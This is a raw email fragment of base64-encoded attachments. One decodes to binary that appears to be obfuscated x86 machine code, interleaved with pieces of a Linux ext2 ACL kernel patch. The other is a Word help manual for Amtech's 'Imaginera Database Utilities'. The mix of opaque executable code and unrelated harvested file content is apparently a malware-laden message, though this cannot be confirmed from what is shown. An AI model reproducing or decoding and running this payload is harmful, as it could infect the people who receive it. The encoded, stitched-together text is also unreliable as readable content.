KRkSEG0TGCoIBHAFSig1RWlBKl4CFwgEd3lkQ3B3e1JlBQUBLUE3I1lrAgcNbWoSMwhDAlkPBzZZ MA1tBQR5NgRJd2RDcDV+Pk0AYBPCM/9mY9IPhFjETXANUUVNAAPD1vkjwxvGK8eYwcAd+DPD1hPG A8eYM8IzxAPHK8IlCVpNAOgNAAAAC8GQ6QwAAAAxHxvD1gPA/MMbx5gDw9bo7v///+hCAAAABStn TQDoCwAAABvG+OkHAAAAMS/5wzPFQAvBkOjz////1g8C0egMAAAA6QsAAAAxDwU1dk0AwwvE+RPA /OkaAAAADUd8TQBkZ/82AABUZGePBgAAM8D/ADr/TXDoCAAAAOkKAAAAMR6QE8T5w4vHmOjz//// i0QkCIvgvwAAAABkjwdf6AAAAABAizwkWIHvOHOKAMHIb2jhOMRwWYHxqDhOcIPAIQPPuII7TnCL 0IHqAR9OcIPgT7sAAAAAgct3ZENwmCvEMRnBw2SLwZC4BAAAAAPINVJETgDoCAAAAOkHAAAAMQtA w4vHmJJIkpATxyvASAPCeAXpyf///4PQFGGDyCXDZV9wZXJtID0gY3B1X3RvX2xlMTYoYWNsLT5h X2VudHJpZXNbbl0uZV9wZXJtKTsNCisJCXN3aXRjaChhY2wtPmFfZW50cmllc1tuXS5lX3RhZykg ew0KKwkJCWNhc2UgQUNMX1VTRVI6DQorCQkJY2FzZSBBQ0xfR1JPVVA6DQorCQkJCWVudHJ5LT5l X2lkID0NCisJCQkJCWNwdV90b19sZTMyKGFjbC0+YV9lbnRyaWVzW25dLmVfaWQpOw0KKwkJCQll ICs9IHNpemVvZihleHQyX2FjbF9lbnRyeSk7DQorCQkJCWJyZWFrOw0KKw0KKwkJCWNhc2UgQUNM X1VTRVJfT0JKOg0KKwkJCWNhc2UgQUNMX0dST1VQX09CSjoNCisJCQljYXNlIEFDTF9NQVNLOg0K KwkJCWNhc2UgQUNMX09USEVSOg0KKwkJCQllICs9IHNpemVvZihleHQyX2FjbF9lbnRyeV9zaG9y dCk7DQorCQkJCWJyZWFrOw0KKw0KKwkJCWRlZmF1bHQ6DQorCQkJTBVYAAACAAAAAgAAXBdYAAln b3RvIGZhaWw7DQorCQl9DQorCX0NCisJcmV0dXJuIChjaGFyICopZXh0X2FjbDsNCisNCitmYWls Og0KKwlrZnJlZShleHRfYWNsKTsNCisJcmV0dXJuIEVSUl9QVFIoLUVJTlZBTCk7DQorfQ0KKw0K Ky8qDQorICogaW5vZGUtPmlfc2VtOiBkb3duDQorICovDQorc3RhdGljIHN0cnVjdCBwb3NpeF9h Y2wgKg0KK2V4dDJfZ2V0X2FjbChzdHJ1Y3QgaW5vZGUgKmlub2RlLCBpbnQgdHlwZSkNCit7DQor CWludCBuYW1lX2luZGV4Ow0KKwljaGFyICp2YWx1ZTsNCisJc3RydWN0IHBvc2l4X2FjbCAqYWNs LCAqKnBfYWNsOw0KKwljb25zdCBzaXplX3Qgc2l6ZSA9IGV4dDJfYWNsX3NpemUoRVhUMl9BQ0xf TUFYX0VOVFJJRVMpOw0KKwlpbnQgcmV0dmFsOw0KKw0KKwlpZiAoIXRlc3Rfb3B0KGlub2RlLT5p X3NiLCBQT1NJWF9BQ0wpKQ0KKwkJcmV0dXJuIDA7DQorDQorCXN3aXRjaCh0eXBlKSB7DQorCQlj YXNlIEFDTF9UWVBFX0FDQ0VTUzoNCisJCQlwX2FjbCA9ICZFWFQyX0koaW5vZGUpLT5pX2FjXBdY AAACAAAAAgAAbBlYAGw7DQorCQkJbmFtZV9pbmRleCA9IEVYVDJfWEFUVFJfSU5ERVhfUE9TSVhf QUNMX0FDQ0VTUzsNCisJCQlicmVhazsNCisNCisJCWNhc2UgQUNMX1RZUEVfREVGQVVMVDoNCisJ CQlwX2FjbCA9ICZFWFQyX0koaW5vZGUpLT5pX2RlZmF1bHRfYWNsOw0KKwkJCW5hbWVfaW5kZXgg PSBFWFQyX1hBVFRSX0lOREVYX1BPU0lYX0FDTF9ERUZBVUxUOw0KKwkJCWJyZWFrOw0KKw0KKwkJ ZGVmYXVsdDoNCisJCQlyZXR1cm4gRVJSX1BUUigtRUlOVkFMKTsNCisJfQ0KKwlpZiAoKnBfYWNs ICE9IEVYVDJfQUNMX05PVF9DQUNIRUQpDQorCQlyZXR1cm4gcG9zaXhfYWNsX2R1cCgqcF9hY2wp Ow0KKwl2YWx1ZSA9IGttYWxsb2Moc2l6ZSwgR0ZQX0tFUk5FTCk7DQorCWlmICghdmFsdWUpDQor CQlyZXR1cm4gRVJSX1BUUigtRU5PTUVNKTsNCisNCisJcmV0dmFsID0gZXh0Ml94YXR0cl9nZXQo aW5vZGUsIG5hbWVfaW5kZXgsICIiLCB2YWx1ZSwgc2l6ZSk7DQorDQorCWlmIChyZXR2YWwgPT0g LUVOT0RBVEEgfHwgbBlYAAACAAAAAgAAfBtYAHJldHZhbCA9PSAtRU5PU1lTKQ0KKwkJKnBfYWNs ID0gYWNsID0gTlVMTDsNCisJZWxzZSBpZiAocmV0dmFsIDwgMCkNCisJCWFjbCA9IEVSUl9QVFIo cmV0dmFsKTsNCisJZWxzZSB7DQorCQlhY2wgPSBleHQyX2FjbF9mcm9tX2Rpc2sodmFsdWUsIHJl dHZhbCk7DQorCQlpZiAoIUlTX0VSUihhY2wpKQ0KKwkJCSpwX2FjbCA9IHBvc2l4X2FjbF9kdXAo YWNsKTsNCisJfQ0KKwlrZnJlZSh2YWx1ZSk7DQorCXJldHVybiBhY2w7DQorfQ0KKw0KKy8qDQor ICogaW5vZGUtPmlfc2VtOiBkb3duDQorICovDQorc3RhdGljIGludA0KK2V4dDJfc2V0X2FjbChz dHJ1Y3QgaW5vZGUgKmlub2RlLCBpbnQgdHlwZSwgc3RydWN0IHBvc2l4X2FjbCAqYWNsKQ0KK3sN CisJaW50IG5hbWVfaW5kZXg7DQorCXZvaWQgKnZhbHVlID0gTlVMTDsNCisJc3RydWN0IHBvc2l4 X2FjbCAqKnBfYWNsOw0KKwlzaXplX3Qgc2l6ZTsNCisJaW50IGVycm9yOw0KKw0KKwlpZiAoU19J U0xOSyhpbm9kZS0+aV9tb2RlKSkNCisJCXJlfBtYAAACAAAAAgAAjB1YAHR1cm4gLUVPUE5PVFNV UFA7DQorCWlmICghdGVzdF9vcHQoaW5vZGUtPmlfc2IsIFBPU0lYX0FDTCkpDQorCQlyZXR1cm4g MDsNCisNCisJc3dpdGNoKHR5cGUpIHsNCisJCWNhc2UgQUNMX1RZUEVfQUNDRVNTOg0KKwkJCW5h bWVfaW5kZXggPSBFWFQyX1hBVFRSX0lOREVYX1BPU0lYX0FDTF9BQ0NFU1M7DQorCQkJcF9hY2wg PSAmRVhUMl9JKGlub2RlKS0+aV9hY2w7DQorCQkJaWYgKGFjbCkgew0KKwkJCQltb2RlX3QgbW9k ZSA9IGlub2RlLT5pX21vZGU7DQorCQkJCWVycm9yID0gcG9zaXhfYWNsX2VxdWl2X21vZGUoYWNs LCAmbW9kZSk7DQorCQkJCWlmIChlcnJvciA8IDApDQorCQkJCQlyZXR1cm4gZXJyb3I7DQorCQkJ CWVsc2Ugew0KKwkJCQkJaW5vZGUtPmlfbW9kZSA9IG1vZGU7DQorCQkJCQltYXJrX2lub2RlX2Rp cnR5KGlub2RlKTsNCisJCQkJCWlmIChlcnJvciA9PSAwKQ0KKwkJCQkJCWFjbCA9IE5VTEw7DQor CQkJCX0NCisJCQl9DQorCQkJYnJlYWs7DQorDQorCQljYXNlIEFDTF9UjB1YAAACAAAAAgAAnB9Y AFlQRV9ERUZBVUxUOg0KKwkJCW5hbWVfaW5kZXggPSBFWFQyX1hBVFRSX0lOREVYX1BPU0lYX0FD TF9ERUZBVUxUOw0KKwkJCXBfYWNsID0gJkVYVDJfSShpbm9kZSktPmlfZGVmYXVsdF9hY2w7DQor CQkJaWYgKCFTX0lTRElSKGlub2RlLT5pX21vZGUpKQ0KKwkJCQlyZXR1cm4gYWNsID8gLUVBQ0NF UyA6IDA7DQorCQkJYnJlYWs7DQorDQorCQlkZWZhdWx0Og0KKwkJCXJldHVybiAtRUlOVkFMOw0K Kwl9DQorIAlpZiAoYWNsKSB7DQorCQlpZiAoYWNsLT5hX2NvdW50ID4gRVhUMl9BQ0xfTUFYX0VO VFJJRVMpDQorCQkJcmV0dXJuIC1FSU5WQUw7DQorCQl2YWx1ZSA9IGV4dDJfYWNsX3RvX2Rpc2so YWNsLCAmc2l6ZSk7DQorCQlpZiAoSVNfRVJSKHZhbHVlKSkNCisJCQlyZXR1cm4gKGludClQVFJf RVJSKHZhbHVlKTsNCisJfQ0KKw0KKwllcnJvciA9IGV4dDJfeGF0dHJfc2V0KGlub2RlLCBuYW1l X2luZGV4LCAiIiwgdmFsdWUsIHNpemUsIDApOw0KKw0KKwlpZiAodmFsdWUpDQorCQlrZnJlZSh2 nB9YAAACAAAAAgAArCFYAGFsdWUpOw0KKwlpZiAoIWVycm9yKSB7DQorCQlpZiAoKnBfYWNsICYm ICpwX2FjbCAhPSBFWFQyX0FDTF9OT1RfQ0FDSEVEKQ0KKwkJCXBvc2l4Xw== ------=_NextPart_000_00A2_010FB396.98C396E0 Content-Type: application/octet-stream; name="Imaginera Database Utilities.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Imaginera Database Utilities.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAADAAAAPwEAAAAAAAAA EAAAQQEAAAEAAAD+////AAAAADwBAAA9AQAAPgEAAP////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAVwAJBAAACBK/AAAAAAAAEAAAAAAABAAAmacAAA4AYmpiatt/238AAAAAAAAAAAAAAAAAAAAA AAAJBBYAaowBALkVAQC5FQEAnKEAAAAAAAD8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAAF0AAAAAAB4MAAAAAAAAHgwAAB4M AAAAAAAAHgwAAAAAAAAeDAAAAAAAAB4MAAAAAAAAHgwAADQAAAAAAAAAAAAAAFIMAAAAAAAAUgwA AAAAAABSDAAAAAAAAFIMAABoAAAAugwAADQBAADuDQAANAEAAFIMAAAAAAAArzIAALYAAAAWEAAA ZgcAAHwXAABwAAAA7BcAAAAAAADsFwAAAAAAAOwXAAAAAAAA3BoAANYLAACyJgAAZAMAABYqAAC0 AQAAaDIAAAIAAABqMgAAAAAAAGoyAAAAAAAAajIAAAAAAABqMgAAAAAAAGoyAAAAAAAAajIAACQA AABlMwAA9AEAAFk1AABQAAAAjjIAACEAAAAAAAAAAAAAAAAAAAAAAAAAHgwAAAAAAADKKwAAAAAA AAAAAAAAAAAAAAAAAAAAAABgGgAAAAAAAGAaAAB8AAAAyisAAAAAAADKKwAAAAAAAI4yAAAAAAAA Ci0AAAAAAAAeDAAAAAAAAB4MAAAAAAAA7BcAAAAAAAAAAAAAAAAAAOwXAAB0AgAAFhAAAAAAAAAK LQAAAAAAAAotAAAAAAAACi0AAAAAAADKKwAAggAAAB4MAAAAAAAA7BcAAAAAAAAeDAAAAAAAAOwX AAAAAAAAaDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUgwAAAAAAABSDAAAAAAAAB4MAAAAAAAAHgwA AAAAAAAeDAAAAAAAAB4MAAAAAAAAyisAAAAAAABoMgAAAAAAAAotAABeBQAACi0AAAAAAAAAAAAA AAAAAGgyAAAAAAAAHgwAAAAAAAAeDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaDIAAAAAAADsFwAAAAAAACIPAAD0AAAAUOxCUNDr vQFSDAAAAAAAAFIMAAAAAAAATCwAAL4AAABoMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAN AA0AEwBJAE0AUABPAFIAVAAgAGMAOgBcAFwAZgBoAF8AcwB1AGkAdABlAFwAXABmAGgAbABwAF8A MgA5ADcAXABcAEwATwBHAE8ALgBCAE0AUAAgAFwAKgAgAE0ARQBSAEcARQBGAE8AUgBNAEEAVAAU AAEAFQANAEkAbQBhAGcAaQBuAGUAcgBhANPwDQANAA0ADQANAA0ADQANAEQAYQB0AGEAYgBhAHMA ZQAgAFUAdABpAGwAaQB0AGkAZQBzAA0ADAANAA0ADQANAA0ADQBDAG8AcAB5AHIAaQBnAGgAdAAN AA0AVABoAGkAcwAgAHAAcgBvAGcAcgBhAG0AIABpAHMAIAB0AGgAZQAgAGMAbwBwAHkAcgBpAGcA aAB0ACAAbwBmACAAQQBtAHQAZQBjAGgALgAgACAADQANAEEAbQB0AGUAYwBoACAAYwBsAGEAaQBt AHMAIABjAG8AcAB5AHIAaQBnAGgAdAAgAGkAbgAgAHQAaABpAHMAIABkAG8AYwB1AG0AZQBuAHQA LAAgAHQAaABlACAAcgBlAGYAZQByAGUAbgBjAGUAZAAgAHAAcgBvAGcAcgBhAG0ALAAgAGEAbgBk ACAAdABoAGUAIABjAG8AbQBwAGEAbgBpAG8AbgAgAGQAbwBjAHUAbQBlAG4AdABhAHQAaQBvbiBh bmQgaGVscCBmaWxlcyBhcyBhbiB1bnB1Ymxpc2hlZCB3b3JrcywgdmVyc2lvbnMgb2Ygd2hpY2gg d2VyZSBmaXJzdCBsaWNlbnNlZCBvbiB0aGUgZGF0ZSBpbmRpY2F0ZWQuICBDbGFpbSBvZiBjb3B5 cmlnaHQgZG9lcyBub3QgaW1wbHkgd2FpdmVyIG9mIEFtdGVjaCdzIG90aGVyIHJpZ2h0cy4gDQ0N Tk9USUNFIE9GIFBST1BSSUVUQVJZIFJJR0hUUyANDVRoaXMgY29tcHV0ZXIgcHJvZ3JhbSBhbmQg ZG9jdW1lbnRhdGlvbiBhcmUgY29uZmlkZW50aWFsIHRyYWRlIHNlY3JldHMgYW5kIHRoZSBwcm9w ZXJ0eSBvZiBBbXRlY2guICBVc2UsIGV4YW1pbmF0aW9uLCByZXByb2R1Y3Rpb24sIGNvcHlpbmcs IGRpc2Fzc2VtYmx5LCBkZS1jb21waWxhdGlvbiwgdHJhbnNmZXIgb3IgZGlzY2xvc3VyZXMgdG8g b3RoZXJzLCBpbiB3aG9sZSBvciBpbiBwYXJ0LCBhcmUgc3RyaWN0bHkgcHJvaGliaXRlZCBleGNl cHQgd2l0aCBwcmlvciB3cml0dGVuIGNvbnNlbnQgb2YgQW10ZWNoLiAgQ29uc2VudCBpbXBsaWVz IHRoYXQgeW91IHB1cmNoYXNlZCBhIGxpY2Vuc2VkIGNvcHkgb2YgdGhpcyBwcm9ncmFtIGFuZCBw YWlkIGluIGZ1bGwgZm9yIHRoYXQgY29weS4NDQ2pIDE5OTctMTk5OCBBbXRlY2guICAgQWxsIHJp Z2h0cyByZXNlcnZlZC4NDFRhYmxlIG9mIENvbnRlbnRzDQ0TIFRPQyBcbyAiMS0zIiAUAQ1Db3B5 cmlnaHQJEyBQQUdFUkVGIF9Ub2M0MzE3MDk3NjYgXGggARQyFQ1OT1RJQ0UgT0YgUFJPUFJJRVRB UlkgUklHSFRTCRMgUEFHRVJFRiBfVG9jNDMxNzA5NzY3IFxoIAEUMhUNVGFibGUgb2YgQ29udGVu dHMJEyBQQUdFUkVGIF9Ub2M0MzE3MDk3NjggXGggARQzFQ1JbWFnaW5lcmEgRGF0YWJhc2UgVXRp bGl0aWVzCRMgUEFHRVJFRiBfVG9jNDMxNzA5NzY5IFxoIAEUNRUNRmlsZXMgaW5jbHVkZWQgYXJl OgkTIFBBR0VSRUYgX1RvYzQzMTcwOTc3MCBcaCABFDUVDUltYWdpbmVyYSBEYXRhYmFzZQkTIFBB R0VSRUYgX1RvYzQzMTcwOTc3MSBcaCABFDYVDVRhYmxlIENvdW50cwkTIFBBR0VSRUYgX1RvYzQz MTcwOTc3MiBcaCABFDcVDURhdGFiYXNlIFVwZGF0ZSBVdGlsaXR5IERlc2NyaXB0aW9uCRMgUEFH RVJFRiBfVG9jNDMxNzA5NzczIFxoIAEUOBUNSW1hZ2luZXJhIERhdGFiYXNlIFVwZGF0ZQkTIFBB R0VSRUYgX1RvYzQzMTcwOTc3NCBcaCABFDgVDUFtdGVjaCBEYXRhYmFzZSBGaXhlcwkTIFBBR0VS RUYgX1RvYzQzMTcwOTc3NSBcaCABFDkVDVNldCBTeW5vbnltcwkTIFBBR0VSRUYgX1RvYzQzMTcw OTc3NiBcaCABFDEwFQ1QdXJnZQkTIFBBR0VSRUYgX1RvYzQzMTcwOTc3NyBcaCABFDEwFQ1BZGRp dGlvbmFsIFB1cmdlIFJvdXRpbmVzCRMgUEFHRVJFRiBfVG9jNDMxNzA5Nzc4IFxoIAEUMTEVDVB1 cmdlIEhpc3RvcnkJEyBQQUdFUkVGIF9Ub2M0MzE3MDk3NzkgXGggARQxMhUNUHVyZ2UgQXVkaXQg VHJhaWwJEyBQQUdFUkVGIF9Ub2M0MzE3MDk3ODAgXGggARQxMhUNUHVyZ2UgVGltZSBDYXJkcwkT IFBBR0VSRUYgX1RvYzQzMTcwOTc4MSBcaCABFDEyFQ1QdXJnZSBQYXlyb2xsIEhpc3RvcnkJEyBQ QUdFUkVGIF9Ub2M0MzE3MDk3ODIgXGggARQxMhUNT3JkZXJzIFB1cmdlCRMgUEFHRVJFRiBfVG9j NDMxNzA5NzgzIFxoIAEUMTMVDVB1cmdlIE9yZGVycwkTIFBBR0VSRUYgX1RvYzQzMTcwOTc4NCBc aCABFDEzFQ1EZWxpdmVyeSBQdXJnZQkTIFBBR0VSRUYgX1RvYzQzMTcwOTc4NSBcaCABFDEzFQ1F REkgUHVyZ2UJEyBQQUdFUkVGIF9Ub2M0MzE3MDk3ODYgXGggARQxMxUNSW52ZW50b3J5IFB1cmdl CRMgUEFHRVJFRiBfVG9jNDMxNzA5Nzg3IFxoIAEUMTQVDUludm9pY2VzIFB1cmdlCRMgUEFHRVJF RiBfVG9jNDMxNzA5Nzg4IFxoIAEUMTQVDVB1cmNoYXNlIE9yZGVyIFB1cmdlCRMgUEFHRVJFRiBf VG9jNDMxNzA5Nzg5IFxoIAEUMTQVDVNhbGVzIFN1bW1hcnkgUHVyZ2UJEyBQQUdFUkVGIF9Ub2M0 MzE3MDk3OTAgXGggARQxNBUNRGF0ZSBTZXQtdXAJEyBQQUdFUkVGIF9Ub2M0MzE3MDk3OTEgXGgg ARQxNBUNVXNlciBhY2Nlc3MJEyBQQUdFUkVGIF9Ub2M0MzE3MDk3OTIgXGggARQxNBUNTG9jayBk YXRhYmFzZQkTIFBBR0VSRUYgX1RvYzQzMTcwOTc5MyBcaCABFDE1FQ1UYWJsZXMgcHVyZ2VkCRMg UEFHRVJFRiBfVG9jNDMxNzA5Nzk0IFxoIAEUMTUVDU9yZGVycyBHcm91cAkTIFBBR0VSRUYgX1Rv YzQzMTcwOTc5NSBcaCABFDE1FQ1Kb2IgLyBPcmRlciBDb3N0IEdyb3VwCRMgUEFHRVJFRiBfVG9j NDMxNzA5Nzk2IFxoIAEUMTUVDURlbGl2ZXJ5IEdyb3VwCRMgUEFHRVJFRiBfVG9jNDMxNzA5Nzk3 IFxoIAEUMTUVDUludm9pY2luZyBHcm91cAkTIFBBR0VSRUYgX1RvYzQzMTcwOTc5OCBcaCABFDE2 FQ1QdXJjaGFzaW5nIEdyb3VwCRMgUEFHRVJFRiBfVG9jNDMxNzA5Nzk5IFxoIAEUMTYVDUVESSBH cm91cAkTIFBBR0VSRUYgX1RvYzQzMTcwOTgwMCBcaCABFDE2FQ1JbnZlbnRvcnkgR3JvdXAJEyBQ QUdFUkVGIF9Ub2M0MzE3MDk4MDEgXGggARQxNhUNU3lzdGVtIGNsZWFuLXVwCRMgUEFHRVJFRiBf VG9jNDMxNzA5ODAyIFxoIAEUMTYVDVNFQ1VSSVRZCRMgUEFHRVJFRiBfVG9jNDMxNzA5ODAzIFxo IAEUMTcVDVBhc3N3b3JkcwkTIFBBR0VSRUYgX1RvYzQzMTcwOTgwNCBcaCABFDE3FQ1TZXR0aW5n IHVwIGFjY2VzcyB0byBhIHRhYmxlIG9yIGFwcGxpY2F0aW9uLgkTIFBBR0VSRUYgX1RvYzQzMTcw OTgwNSBcaCABFDE3FQ1RQkUgU2VhcmNoCRMgUEFHRVJFRiBfVG9jNDMxNzA5ODA2IFxoIAEUMTcV DVVzZXIgTGlzdAkTIFBBR0VSRUYgX1RvYzQzMTcwOTgwNyBcaCABFDE4FQ1BZGQgYSBOZXcgVXNl ciB0byB0aGUgU3lzdGVtOgkTIFBBR0VSRUYgX1RvYzQzMTcwOTgwOCBcaCABFDE5FQ1TZWFyY2gg Zm9yIEV4aXN0aW5nIFVzZXI6CRMgUEFHRVJFRiBfVG9jNDMxNzA5ODA5IFxoIAEUMTkVDURlbGV0 ZSBhIFVzZXI6CRMgUEFHRVJFRiBfVG9jNDMxNzA5ODEwIFxoIAEUMjAVDVNlY3VyaXR5IE1haW50 ZW5hbmNlCRMgUEFHRVJFRiBfVG9jNDMxNzA5ODExIFxoIAEUMjEVDUFkZGluZyBhIFNlY3VyaXR5 IEFjY2VzcyB0byBhIFVzZXI6CRMgUEFHRVJFRiBfVG9jNDMxNzA5ODEyIFxoIAEUMjIVDUFkZGlu ZyBhIGZvcm0gKHNjcmVlbikgdG8gdGhlIFRhYmxlIE1haW50ZW5hbmNlIG1lbnUJEyBQQUdFUkVG IF9Ub2M0MzE3MDk4MTMgXGggARQyMhUNQWNjb3VudGluZyBTZWN1cml0eQkTIFBBR0VSRUYgX1Rv YzQzMTcwOTgxNCBcaCABFDIzFQ1DaGFuZ2UgUGFzc3dvcmQgMgkTIFBBR0VSRUYgX1RvYzQzMTcw OTgxNSBcaCABFDI0FQ1JbmRleAkTIFBBR0VSRUYgX1RvYzQzMTcwOTgxNiBcaCABFDI2FQ0VDQwN SW1hZ2luZXJhIERhdGFiYXNlIFV0aWxpdGllcw0NVGhpcyBtYW51YWwgY29udGFpbnMgdGhlIElt YWdpbmVyYSBEYXRhYmFzZSBVdGlsaXRpZXMgaGVscCB0ZXh0LiAgVGhlc2UgdXRpbGl0aWVzIGFy ZSBzdXBwbGllZCB3aXRoIEltYWdpbmVyYSBmb3IgbWFpbnRhaW5pbmcgdGhlIGRhdGFiYXNlIGR1 cmluZyByb3V0aW5lIG1haW50ZW5hbmNlIGFuZCBhcHBsaWNhdGlvbiB1cGdyYWRlcy4gIFRoaXMg aGVscCBhbHNvIGlzIHN1cHBsaWVkIGFzICouaGxwIGZpbGVzIGFuZCBjYWxsYWJsZSBmcm9tIHRo ZSBhcHBsaWNhdGlvbnMgd2l0aCB0aGUgRjEga2V5Lg0NRmlsZXMgaW5jbHVkZWQgYXJlEyBYRSAi RmlsZXMgaW5jbHVkZWQgYXJlIiAVOg0NQW10X3N5cy5obHAJRGJ1cGRhdGUuaGxwCVN5bm9ueW0u aGxwCUZpeGl0LmhscAkJQ291bnQuaGxwCVB1cmdlLmhscA0NU2VjdXJpdHkuaGxwDQ1UaGUgbmFt ZWQgYXBwbGljYXRpb25zIGFyZSBzb21ld2hhdCB0ZWNobmljYWwgYW5kIHNob3VsZCBvbmx5IGJl IHVzZWQgYnkgYW4gZXhwZXJpZW5jZSBwZXJzb24gc3VjaCBhcyB0aGUgU3lzdGVtIEFkbWluaXN0 cmF0b3ITIFhFICJTeXN0ZW0gQWRtaW5pc3RyYXRvciIgFSB3aG8gaXMgZmFtaWxpYXIgd2l0aCBk YXRhYmFzZXMgYW5kIGNsaWVudCAvIHNlcnZlciBlcXVpcG1lbnQgc2V0LXVwLiANDQ0MSW1hZ2lu ZXJhIERhdGFiYXNlEyBYRSAiSW1hZ2luZXJhIERhdGFiYXNlIiAVDTEwODI1MDAwEyBYRSAiMTA4 MjUwMDAiIBUNU2NyZWVuIGlzIHVzZWQgZm9yIHZpZXdpbmcgb3IgcHJpbnRpbmcgdGhlIEltYWdp bmVyYSBkYXRhYmFzZRMgWEUgIlZpZXdpbmcgb3IgcHJpbnRpbmcgdGhlIEltYWdpbmVyYSBkYXRh YmFzZSIgFSBpbmRleCBhbmQgdGFibGVzLhMgWEUgIkltYWdpbmVyYSBkYXRhYmFzZSBpbmRleCBh bmQgdGFibGVzLiIgFSANDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxhbXRfc3lzXFxXSU5IRUxQXFxX SFQtQklORC5CTVAgXCogTUVSR0VGT1JNQVQUARVOb3RlOiBUaGlzIGlzIHRoZSBvbmx5IHNjcmVl biBpbiB0aGlzIG1vZHVsZS4gIA0NVXNpbmcgdGhlIHNjcmVlbjoNDTEpIFVwb24gZW50cnkgdG8g dGhlIHNjcmVlbiwgbWFrZSBzdXJlIHRoYXQgdGhlIERhdGFiYXNlIE5hbWUgaXMgY29ycmVjdC4N DTIpIEVudGVyIHRoZSBwYXNzd29yZA0NMykgU2VsZWN0IEluZGV4IG9yIFRhYmxlcy9Db2x1bW5z DQ00KSBDaGVjayBJbmNsdWRlIENvbHVtbiBDb21tZW50cywgaWYgZGVzaXJlZA0NNSkgU2VsZWN0 IExhbmRzY2FwZSBvciBQb3J0cmFpdCB2aWV3aW5nIGFuZCBwcmludGluZw0NNikgSWYgcHJpbnRp bmcsIHRoZW4gc2VsZWN0IDxQcmludCBTZXR1cD4gDQ0TSU1QT1JUIEM6XFxpbWFnaW4zMVxcYW10 X3N5c1xcV0lOSEVMUFxcU1BDLU5PVEUuQk1QIFwqIE1FUkdFRk9STUFUFAEVTm90ZTogIFRoZSBy ZXBvcnRzIGFyZSBsb25nIGFuZCB3aWxsIHRha2UgdGltZS4gIEl0IGlzIHJlY29tbWVuZGVkIHRo YXQgdGhlIHJlcG9ydHMgYmUgcHJpbnRlZCB0byBhIGZpbGUgb3Igdmlld2VkIGJlZm9yZSBiZWlu ZyBwcmludGVkIHRvIGEgcHJpbnRlci4NDTcpIElmIHZpZXdpbmcgb25seSwgdGhlbiBzZWxlY3Qg PFZpZXc+DQ04KSBJZiBQcmludGluZyB0byBhIGZpbGUTIFhFICJQcmludGluZyB0byBhIGZpbGUi IBUsIHRoZW4gY2hlY2sgUHJpbnQgVG8gRmlsZSwgYW5kIHRoZW4gc2VsZWN0IFJURiBvciBBU0NJ SSBhbmQgY29tcGxldGUgdGhlIEZpbGVuYW1lIGVkaXQgZmllbGQuICBDbGljayA8UHJpbnQ+DQ0T SU1QT1JUIEM6XFxpbWFnaW4zMVxcYW10X3N5c1xcV0lOSEVMUFxcWUVMLVBBRC5CTVAgXCogTUVS R0VGT1JNQVQUARVOb3RlOiAgVXNlIGZ1bGwgcGF0aCBuYW1lEyBYRSAiUGF0aCBuYW1lIiAVLCBk cml2ZVxkaXJlY3Rvcnlcc3ViLWRpcmVjdG9yeVxmaWxlIG5hbWUuICANDUV4YW1wbGU6ICBDOlxB bXRlY2hcRGJyZXBvcnRcZGJfdGV4dC5ydGYNDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxhbXRfc3lz XFxXSU5IRUxQXFxZRUwtUEFELkJNUCBcKiBNRVJHRUZPUk1BVBQBFU5vdGU6ICBJbmNsdWRlIHRo ZSBleHRlbnNpb24TIFhFICJFeHRlbnNpb24iIBUgb2YgUlRGIG9yIFRYVCAoQVNDSUkpLiAgVG8g bm90IGRvIHNvIHdpbGwgcHJldmVudCB0aGUgb3BlbmluZyBhbmQgdmlld2luZyBvZiB0aGUgZmls ZS4NDTkpIElmIHByaW50aW5nIHRvIGEgcHJpbnRlciwgdGhlbiBjbGljayA8UHJpbnQ+IA0NMTAp IFJlcGVhdCBpZiBkZXNpcmVkIGZvciB0aGUgb3RoZXIgc2VsZWN0aW9ucyBvbiB0aGUgZ3JpZC4N DRNJTVBPUlQgQzpcXGltYWdpbjMxXFxhbXRfc3lzXFxXSU5IRUxQXFxZRUwtUEFELkJNUCBcKiBN RVJHRUZPUk1BVBQBFU5vdGU6ICBCZSBzdXJlIHRvIGNoYW5nZSB0aGUgZmlsZSBuYW1lEyBYRSAi RmlsZSBuYW1lIiAVLg0NQ3VycmVudCBzZWxlY3Rpb25zIGFyZToNE0lNUE9SVCBDOlxcRkhfU1VJ VEVcXEZITFBfMjk3XFxCVUxMRVRTXFxET1RfU00uQk1QIFwqIE1FUkdFRk9STUFUFAEVCVRhYmxl cy9Db2x1bW5zDRNJTVBPUlQgQzpcXEZIX1NVSVRFXFxGSExQXzI5N1xcQlVMTEVUU1xcRE9UX1NN LkJNUCBcKiBNRVJHRUZPUk1BVBQBFQlJbmRleA0NT3RoZXIgc2NyZWVuIGluZm9ybWF0aW9uOg0N UEFUSDogQW10X3N5cy5leGUTIFhFICJBbXRfc3lzLmV4ZSIgFSA+PiBJbWFnaW5lcmEgRGF0YWJh c2UNDU1lbnVzOiBObyBtZW51cw0NSG90IEtleXM6ICBObyBob3Qga2V5cw0NQnV0dG9uczoNPFZp ZXc+DTxQcmludD4NPFByaW50IFNldHVwPg08RG9uZT4NDVRhYmxlIENvdW50cxMgWEUgIlRhYmxl IENvdW50cyIgFQ0xMDE1ODAwMBMgWEUgIjEwMTU4MDAwIiAVDVNjcmVlbiBkaXNwbGF5cyBzb21l 